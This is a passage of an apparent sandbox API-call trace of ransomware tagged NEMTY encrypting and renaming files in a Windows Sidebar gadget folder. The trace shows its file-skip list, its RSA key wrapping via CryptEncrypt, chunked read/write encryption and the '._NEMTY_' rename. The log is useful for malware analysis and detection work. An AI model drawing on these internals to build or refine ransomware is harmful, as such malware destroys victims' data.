RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0158.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0158.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0158.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0158.695] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_close_down_BIDI.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_close_down_bidi.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_close_down_BIDI.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_close_down_bidi.png._nemty_kgobjgd_")) returned 0 [0158.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0158.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0158.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0158.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0158.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0158.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0158.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0158.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0158.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0158.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0158.695] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87598ccc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87598ccc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af07c7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcdb, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="btn_close_over.png", cAlternateFileName="")) returned 1 [0158.695] lstrcmpiW (lpString1="btn_close_over.png", lpString2=".") returned 1 [0158.695] lstrcmpiW (lpString1="btn_close_over.png", lpString2="..") returned 1 [0158.695] lstrcmpiW (lpString1="btn_close_over.png", lpString2="...") returned 1 [0158.695] lstrcmpiW (lpString1="btn_close_over.png", lpString2="windows") returned -1 [0158.695] lstrcmpiW (lpString1="btn_close_over.png", lpString2="$RECYCLE.BIN") returned 1 [0158.695] lstrcmpiW (lpString1="btn_close_over.png", lpString2="rsa") returned -1 [0158.695] lstrcmpiW (lpString1="btn_close_over.png", lpString2="NTDETECT.COM") returned -1 [0158.695] lstrcmpiW (lpString1="btn_close_over.png", lpString2="ntldr") returned -1 [0158.695] lstrcmpiW (lpString1="btn_close_over.png", lpString2="MSDOS.SYS") returned -1 [0158.695] lstrcmpiW (lpString1="btn_close_over.png", lpString2="IO.SYS") returned -1 [0158.695] lstrcmpiW (lpString1="btn_close_over.png", lpString2="boot.ini") returned 1 [0158.695] lstrcmpiW (lpString1="btn_close_over.png", lpString2="boot.ini") returned 1 [0158.695] lstrcmpiW (lpString1="btn_close_over.png", lpString2="AUTOEXEC.BAT") returned 1 [0158.695] lstrcmpiW (lpString1="btn_close_over.png", lpString2="ntuser.dat") returned -1 [0158.696] lstrcmpiW (lpString1="btn_close_over.png", lpString2="desktop.ini") returned -1 [0158.696] lstrcmpiW (lpString1="btn_close_over.png", lpString2="CONFIG.SYS") returned -1 [0158.696] lstrcmpiW (lpString1="btn_close_over.png", lpString2="RECYCLER") returned -1 [0158.696] lstrcmpiW (lpString1="btn_close_over.png", lpString2="BOOTSECT.BAK") returned 1 [0158.696] lstrcmpiW (lpString1="btn_close_over.png", lpString2="bootmgr") returned 1 [0158.696] lstrcmpiW (lpString1="btn_close_over.png", lpString2="programdata") returned -1 [0158.696] lstrcmpiW (lpString1="btn_close_over.png", lpString2="appdata") returned 1 [0158.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0158.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_over.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0158.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0158.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_over.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_close_over.png", lpUsedDefaultChar=0x0) returned 18 [0158.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0158.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0158.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_over.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0158.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0158.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_over.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_close_over.png", lpUsedDefaultChar=0x0) returned 18 [0158.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0158.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0158.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0158.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0158.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_over.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0158.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0158.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_over.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_close_over.png", lpUsedDefaultChar=0x0) returned 18 [0158.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0158.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0158.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_over.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0158.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0158.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_over.png", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_close_over.png", lpUsedDefaultChar=0x0) returned 18 [0158.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0158.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0158.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0158.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0158.697] Sleep (dwMilliseconds=0x5) [0158.712] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x123f29f0, dwHighDateTime=0x1d561e8)) [0158.712] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x123f29f0, dwHighDateTime=0x1d561e8)) [0158.712] GetLastError () returned 0x5 [0158.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0158.712] GetLastError () returned 0x5 [0158.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0158.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0158.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0158.712] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0158.712] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0158.712] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0158.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0158.713] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="tkygDfyTyxrbk8l9qrI9j8RH7bCafCkyC/kj8c6iyG2hB+S4Pgw0cbOavW1VwLe4\r\nsnmkmJ/A1XmmcuPesOrU6afnfzcszYpRTGHl4kGvj/8HPo8Tdt9bPonYfHEyMHtZ\r\nXEEPlNv2Jvvdr7lxGi4GfHibsOUDW33Cpe7F4KBYdR9oBWLR11OAeAH6Y8FXQLjf\r\nCnyDLh5K8Vy55FwBv3kXQvDUIKj9cNzsyJOdGVu5kMiI0ct1aF8OAbrursK/QcMb\r\nImZ2eIuOXps8qjGh8nOtgq8ClYzPb7diTU5qznCjzdD+3shiVBNQgzPdAhfUvpU7\r\nAKVrQlxfSDgFKWZxKCBWxg==\r\n", pcchString=0x653e91c) returned 1 [0158.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0158.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0158.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0158.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0158.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0158.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0158.713] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_close_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_close_over.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0158.713] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0158.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0158.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.713] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.722] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.722] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.722] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.722] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.732] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.732] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.741] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.741] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.751] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.751] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.767] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.767] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.767] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.767] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.776] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.777] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.777] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.777] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.786] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.786] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.786] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.786] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.796] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.796] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.805] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.805] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.805] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.805] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.814] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.815] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.815] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.820] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.821] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.821] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.821] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.827] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.827] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.827] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.827] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0158.827] CloseHandle (hObject=0xffffffff) returned 0 [0158.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0158.827] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0158.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0158.827] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0158.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0158.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0158.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0158.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0158.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0158.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0158.827] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_close_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_close_over.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_close_over.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_close_over.png._nemty_kgobjgd_")) returned 0 [0158.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0158.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0158.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0158.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0158.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0158.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0158.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0158.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0158.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0158.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0158.828] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87598ccc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87598ccc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af07c7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xca8, dwReserved0=0x11, 